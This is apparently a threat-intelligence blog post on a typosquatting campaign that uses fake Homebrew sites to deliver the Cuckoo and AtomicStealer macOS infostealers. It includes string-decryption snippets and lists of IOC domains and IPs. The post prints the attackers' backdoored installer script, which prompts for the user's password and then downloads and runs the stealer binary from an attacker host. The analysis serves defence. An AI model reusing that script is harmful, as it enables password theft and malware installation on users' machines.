Skip to main content
An Infostealer's Brewin': Cuckoo & AtomicStealer Get Creative

An Infostealer's Brewin': Cuckoo & AtomicStealer Get Creative

macOS Malware RE CTI AMOS Infostealer

Summary
#

So far, 2024 really has been the year of the infostealer when it comes to macOS malware. Families like AtomicStealer, Cuckoo, and CloudJump are getting dumped like crazy from search engine ads and crack sites.

This post examines a particularly sneaky typosquatting campaign that’s being used to deliver both AtomicStealer and Cuckoo. It makes use of a fake homepage for the package manager Homebrew. Using backdoored applications or typosquatting for initial access isn’t new for either of these families.

Most of the time, these infostealers rely on a user right-clicking in a DMG installer to run their malware. This one is much more subtle, and only requires a quick slip up on the users behalf.

A more comprehensive anthology of AtomicStealer is coming soon, but this will have to do in the mean time :).

Campaign Identification
#

What really kicked this off was a VirusTotal submission which reached out to homebrew[.]cx. At first this looks just like another AMOS sample impersonating software, but the inclusion of an installer.sh script was unusual.

Funnily enough, since the source to Homebrew’s landing page is on Github, the threat actor didn’t really have to do much work. Something something, work smarter not harder. With this domain as the starting point, we can begin to investigate the malicious infrastructure.

Validin
#

Using Validin you can search for other sites that have a page title of "Homebrew — The Missing Package Manager for macOS (or Linux)". The legitimate site is brew.sh so everything else should get a little bit of side eye. As of 2024/05/13 there were 30 results, though not all of them were clearly malicious (especially stuff like Cloudflare IPs).

validin_infra.png
Fig 1: Validin’s timeline view on search results

The rest of the results seem interesting, so the next step is to investigate each using something like urlscan.io.

URLScan
#

Using the search feature, we can use a similar technique to try and find other potentially malicious sites.

page.title:"Homebrew — The Missing Package Manager for macOS (or Linux)" AND NOT page.url:"brew.sh"

Given that URLScan has private scans and doesn’t proactively ingest URLs, we get less results. We do find a few interesting ones:

urlscan_results.png
Fig 2: URLScan search results

After picking one, the DOM view shows what will actually happen when the user hits download:

<div class="group row">
  <h2 id="install">Install Homebrew</h2>
  <br />
  <div class="button">
    <p>
      <a
        href="https[:]//coinpepe[.]xyz/tete/download.php"
        style="padding:12px 24px"
        >Download for MAC</a
      >
    </p>
  </div>
</div>

This particular domain kicks off a download for a DMG file. Based on the other observed submissions for the link this has several potential payloads (including one where they clearly just spammed the keyboard):

coinpepe_results.png
Fig 3: Prior URLScan submissions for coinpepe[.]xyz

Campaign 1: Cuckoo
#

This is the sample that kicked off this whole rabbit hole, and also has the more slick implementation. Typically, you install Homebrew using a command that looks like this:

legitimate_brew.png
Fig 4: Legitimate Homebrew install

The malicious site is incredibly similar, but has a different installer.sh location.

cuckoo_brew_page.png
Fig 5: Fake Homebrew Page

Pulling the script content you can see that it is a modified version, which includes a few extra steps to ruin your day. First, it prompts the user to enter their password which normally would sus people out in a different context. In dev world, it’s not uncommon for tools to do this. It then uses curl to download and run the actual infostealer binary. After that, it continues to install brew as you would expect.

result=false
while ! $result;
do
    echo -n 'Password:'
    read -s password

    cmdoutput=$(dscl . authonly "$USER" "$password" 2>&1)

    [ ! "$cmdoutput" ] && result=true
    [ "$cmdoutput" ] && echo -e "\nSorry, try again."
done
echo

password=$(echo -n $password | base64)

open -a /bin/bash --args -c "curl -o /tmp/brew_agent https[:]//homebrew[.]cx/brewinstaller;
chmod +x /tmp/brew_agent; /tmp/brew_agent \"$password\""

For the most part, the functionality of this malware is very similar to the one covered in Kandji’s report. The string encryption was slightly different, making use of a multi-byte key compared to a single byte before.

Most strings in the binary make use of this string decryption function, but there are a few other keys smattered around (same algo tho).

cuckoo_decryption.png
Fig 6: Binary Ninja HLIL for string decryption

It’s easy to reimplement the routine in Python:

def mw_bytes_decryption(enc_bytes):
    key = "7M43mJx9I0GwjslSA2oKSgkqsUo"

    decrypted_bytes = bytearray(enc_bytes)
    for i in range(len(enc_bytes)):
        decrypted_bytes[i] = enc_bytes[i] ^ ord(key[i % len(key)])

    return bytes(decrypted_bytes)

The persistence is also slightly different, but that tracks as they are trying to blend in as that particualr software (brew).

Campaign 2: AtomicStealer
#

These sites were less convincing, as it didn’t make use of the installer script like Homebrew typically does.

amos_homebrew_imitation.png
Fig 7: Fake Homebrew Page Hosting AMOS

There were also more of these sites, which hosted their final payloads of BrewApp.dmg on a number of different sites. This sample didn’t really have much of interest besides the fact that they are now making use of mod_init_func to decrypt some of the more sensitive strings (I wonder where that’s happened before).

amos_crypto.png
Fig 8: Binary Ninja of mod_init_func with string decryption

This little snippet can be used to decrypt the strings (just picked one at random for example’s sake).

>>> "".join([chr(b ^ 0x80) for b in b"\xef\xf3\xe1\xf3\xe3\xf2\xe9\xf0\xf4\xa0\xad\xe5\xa0\xa7\xe4\xe9\xf3\xf0\xec\xe1\xf9\xa0\xe4\xe9\xe1\xec\xef\xe7\xa0\xa2\xd3\xef\xed\xe5\xa0\xe5\xf2\xf2\xef\xf2\xa0\xef\xe3\xe3\xf5\xf2\xf2\xe5"])
'osascript -e \'display dialog "Some error occurre'

Conclusion
#

These stealer developers are working mighty hard to make sure their net is cast as wide as possible. This particular instance is no different, except for the fact that most developers would likely fall for this compared to other attempts (imo). Unfortunately, these stealers are also getting more “advanced” in terms of their development practices.

If there was anything to add here, it’s that I really dislike the software installation method of curl installer.sh | bash. I understand that this is a widely used thing: brew, rust, etc. By going this route, you circumvent all the lovely things helping you from getting bonked like signature verification and checksums.

As an industry, we spend so much time educating users to be wary of suspicious looking links or downloading random attachments. When it comes to developer tools, it feels like there is an underlying assumption that their “technical competence” makes them immune to situations like this. Seems like an odd tradeoff in the security v. usability argument.

People groan about the hoops you have to jump through in order to install applications on macOS (this is downloaded from the internet, are you sure you want to run it? 👺). Those hoops, annoying as they might be, do make it harder for users to install malware.

Anyways rant over. 🫡

greetz to @l0psec & @stuartjash for letting me bounce thoughts off of them for this :>

IOCs
#

Files
#

SHA256 Filename Description
2958dfe9251c6bf997ceb94f2eea1b808a8e53bd5e79b7152f79379f441ede83 BrewApp.dmg AMOS DMG
574a0a47811b06228271c48dab1e3da889c643b90515b36bcdbdc8a48385785e BrewApp AMOS Sample
ce6dc065752cb46437ce6a200e29d5dbd96473daa72dcce07aa493b821a99ba9 brewinstaller Cuckoo Sample
f608301ebb09ecdc9840c84f758f5e60cb6f7ab4d34d2f2d468af624eb800e50 installer.sh Backdoored install.sh script

Infrastructure
#

Domain Description
homebrew[.]cx Cuckoo
homebrew[.]page Cuckoo via homebrew[.]cx
homebrewl[.]pro AMOS via coinpepe[.]xyz
rectanglemac[.]pro AMOS via coinpepe[.]xyz
hornebrew[.]mom AMOS via willowsushi[.]com
coinpepe[.]xyz AMOS Hosting
willowsushi[.]com AMOS Hosting
aroqui[.]com AMOS Hosting
trello[.]bio Fake Notion Site Hosting AMOS
IP Description
85[.]217[.]222[.]185 Cuckoo C2 IP
5[.]255[.]107[.]149 Cuckoo Hosting
109[.]120[.]178[.]3 AMOS Hosting
5[.]42[.]100[.]86 AMOS Hosting
79[.]137[.]192[.]4 AMOS C2
77[.]221[.]151[.]41 AMOS C2